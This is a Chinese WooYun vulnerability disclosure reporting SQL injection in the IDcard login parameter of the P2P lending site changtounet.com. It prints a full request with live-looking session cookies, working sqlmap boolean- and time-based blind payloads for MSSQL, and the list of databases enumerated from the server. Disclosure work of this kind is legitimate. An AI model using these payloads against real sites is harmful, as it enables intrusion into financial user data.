当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0161709

漏洞标题:P2P金融长投在线存在SQL注入漏洞

相关厂商:金融长投

漏洞作者: Nelion

提交时间:2015-12-16 12:28

修复时间:2016-01-28 17:10

公开时间:2016-01-28 17:10

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:1

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-16: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-01-28: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

P2P金融长投在线存在SQL注入漏洞。
武汉长投在线电子商务有限公司(旗下网站长投在线www.changtounet.com),总部位于九省通衢的湖北省武汉市。公司是一家拥有深厚金融行业底蕴和优秀基因的创新型企业,拥有完整的产品研发、风险控制及客户服务体系。

详细说明:

1、注入点:(burpLog)(参数:IDcard)

POST /login/default.aspx HTTP/1.1
Content-Length: 72
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.changtounet.com:80/
Cookie: ASP.NET_SessionId=yxcfxluwldljzhvk35zn2yig; MyCookie=4214; gsxw=3199; Hm_lvt_d7304ba98cf3fae6cc0b5e18136b84de=1450064855,1450065351,1450065457,1450065458; Hm_lpvt_d7304ba98cf3fae6cc0b5e18136b84de=1450065458; IESESSION=alive; pgv_pvi=7978089472; pgv_si=s9061854208; ctusername=18649803761; zrdj=113; hyxw=85; mtbd=109; HMACCOUNT=C516BAD6B74D7B08; __qc_wId=712; pgv_pvid=7820796038
Host: www.changtounet.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
act=IDcardYz&IDcard=-1


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: IDcard (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: act=IDcardYz&IDcard=-9277' OR 6227=6227 AND 'qQrm' LIKE 'qQrm
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
Payload: act=IDcardYz&IDcard=-1' OR 1596=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2
,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'AKUN' LI
KE 'AKUN
---

漏洞证明:

2、数据库用户及权限:

01用户和权限.png


3、所有数据库:

available databases [13]:
[*] changtou1019
[*] changtou1206
[*] Changtou_weixin
[*] ChangTouNew
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] weixin0316
[*] weixin0918
[*] weixin1019

修复方案:

参数过滤。

版权声明:转载请注明来源 Nelion@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝